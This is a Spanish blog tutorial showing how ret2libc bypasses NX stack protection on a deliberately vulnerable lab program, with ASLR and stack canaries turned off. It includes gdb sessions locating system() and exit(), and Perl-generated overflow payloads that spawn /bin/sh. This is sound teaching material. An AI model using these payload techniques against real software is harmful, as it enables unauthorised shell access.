En esta entrada vamos a explicar un método para saltarnos la protección NX en Linux, aunque la técnica también se utiliza en Windows de la misma manera.
En la mayor parte de los casos, los programas no necesitan ejecutar código en la pila, por lo que una protección evidente contra los exploits es impedir la ejecución del contenido de la pila. Para ello se utiliza una facilidad proporcionada por la CPU denominada NX (Non Executable Stack) que permite controlar los permisos de ejecución de cada página. Este tipo de protección está disponible en el kernel de Linux para versiones superiores al 2.6.8.
Con esta protección, aunque explotemos un BoF no podremos colocar nuestro shellcode en la pila (recordad que las variables de entorno también están en la pila). O mejor dicho, podremos colocarlo ahí, pero no llegará a ejecutarse. Sin embargo, enfrentarse a esta protección aislada (sin ASLR o SSP) no es difícil. Hasta ahora, hemos compilado los ejemplos con -z execstack para permitir explícitamente la ejecución del contenido de la pila. Para hacer esta demostración compilaremos nuestro stack overflow de siempre sin esta opción (pero mantendremos ASLR desactivado al igual que SSP).
adrian@orion-virt:~/exploiting$ gcc -fno-stack-protector -o sovf stack_overflow.c adrian@orion-virt:~/exploiting$ readelf -l sovf | grep -i stack GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
La pila tiene permisos de lectura y escritura (RW) pero no de ejecución (E). Por lo tanto cuando sobreescribamos el EIP y trate de acceder a las instrucciones de nuestra shellcode en la pila, se producirá un fallo de segmentación.
adrian@orion-virt:~/exploiting$ gcc -fno-stack-protector -o sovf stack_overflow.c adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf SHELLCODE will be at 0xbffff6dd adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xdd\xf6\xff\xbf"x40') DEBUG: name_buffer localizado en 0xbffff354 Bienvenido al sistema, ������������ Segmentation fault (core dumped) adrian@orion-virt:~/exploiting$ gcc -fno-stack-protector -z execstack -o sovf stack_overflow.c adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf SHELLCODE will be at 0xbffff6dd adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xdd\xf6\xff\xbf"x40') DEBUG: name_buffer localizado en 0xbffff354 Bienvenido al sistema, ���������� $
Ret2libc
Está bien, no podemos ejecutar código situado en la pila, pero podemos ejecutar código del propio programa, o mejor aún, de las librerías que incluye. ¿Y qué librería está incluida en todos los binarios? Exacto, libc. Además, libc tiene un serie de funciones más que interesantes, como por ejemplo system(), lo que nos permitirá ejecutar una shell. El primer paso, por supuesto, es localizar la dirección de las funciones que queremos ejecutar (en este caso system):
adrian@orion-virt:~/exploiting/nx$ cat sys.c int main(void){ system(); } adrian@orion-virt:~/exploiting/nx$ gdb -q sys Reading symbols from /home/adrian/exploiting/nx/sys...done. (gdb) br 2 Breakpoint 1 at 0x80483ea: file sys.c, line 2. (gdb) run Starting program: /home/adrian/exploiting/nx/sys Breakpoint 1, main () at sys.c:2 2 system(); (gdb) p system $1 = {<text variable, no debug info>} 0xb7eb17a0 <system> (gdb) quit
Con la dirección de system conocida y fija (sin ASLR no cambia) podemos redireccionar el flujo de ejecución del programa hacia ella y pasarle como argumento lo que queramos ejecutar, por ejemplo “/bin/sh“. Para ello necesitamos construir en la pila una estructura como la siguiente:
[ Dirección system | Dirección de retorno | Argumento 1 | … | Arg N]
La dirección de retorno corresponde a la posición a la que volverá la ejecución cuando system() finalice. No es imprescindible para obtener nuestra shell, pero si hay basura en esa posición, cuando finalicemos la shell trataremos de ejecutar algo impredecible y lo más probable es que obtengamos un fallo de segmentación. En las pruebas puede dar igual, pero en un entorno real tal vez querríamos que el programa original siguiera su curso o que al menos finalizase de manera correcta. Colocaremos el argumento para system (“/bin/sh“) en una variable de entorno, y obtendremos su dirección para pasarla como parámetro en la pila:
adrian@orion-virt:~/exploiting$ export SH="/bin/sh" adrian@orion-virt:~/exploiting$ ./getenvaddr SH ./sovf SH will be at 0xbfffff57
Es posible exportar como variable de entorno ” /bin/sh”, ya que esos espacios nos servirán a modo de colchón de NOPs (nop sled) por si la dirección de la cadena no ha sido calculada con precisión.
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "AAAA"x30 . "\xa0\x17\xeb\xb7ABCD\x57\xff\xff\xbf"') DEBUG: name_buffer localizado en 0xbffffbe4 <p style="text-align: left;">Bienvenido al sistema, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AA? $ id uid=1000(adrian) gid=1000(adrian) groups=4(adm),20(dialout),24(cdrom),46(plugdev),104(lpadmin),115(admin),120(sambashare),1000(adrian) $ exit Violación de segmento (core dumped)
Como podemos ver ha funcionado, y al salir de la shell ha dado un fallo de segmentación. Si quisiéramos salir de manera correcta, podríamos buscar la dirección de la función exit en libc y hacer que retorne allí tras ejecutar nuestra shell. Si queremos pasarle un parámetro a la función exit, el layout que debemos conseguir en la pila es el siguiente:
[ Dir system | Dir exit | Retorno tras exit y 1er param system | 1er param exit]
adrian@orion-virt:~/exploiting$ gdb -q ex (gdb) br 2 Breakpoint 1 at 0x80483b5: file ex.c, line 2. (gdb) run Starting program: /tmp/ex Breakpoint 1, main () at ex.c:2 2 exit(0); (gdb) p exit $1 = {<text variable, no debug info>} 0xb7ea6a30 <exit> (gdb) quit adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "AAAA"x30 . "\xa0\x17\xeb\xb7\x30\x6a\xea\xb7\x57\xff\xff\xbf\x01"') DEBUG: name_buffer localizado en 0xbffffbe4 Bienvenido al sistema, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AA? $ exit adrian@orion-virt:~/exploiting$ echo $? 1
Funciona 🙂 Sin embargo, debido a la estructura de la pila, es imposible encadenar más de dos funciones seguidas con esta técnica en situaciones normales. Para eso existe otra técnica relativamente reciente conocida como Return Oriented Programming (ROP) que quizá tratemos más adelante. Como conclusión resaltar lo evidente, si existe randomización de memoria (incluyendo las librerías) no nos sería posible localizar la dirección de system ya que variaría con cada ejecución.
Responder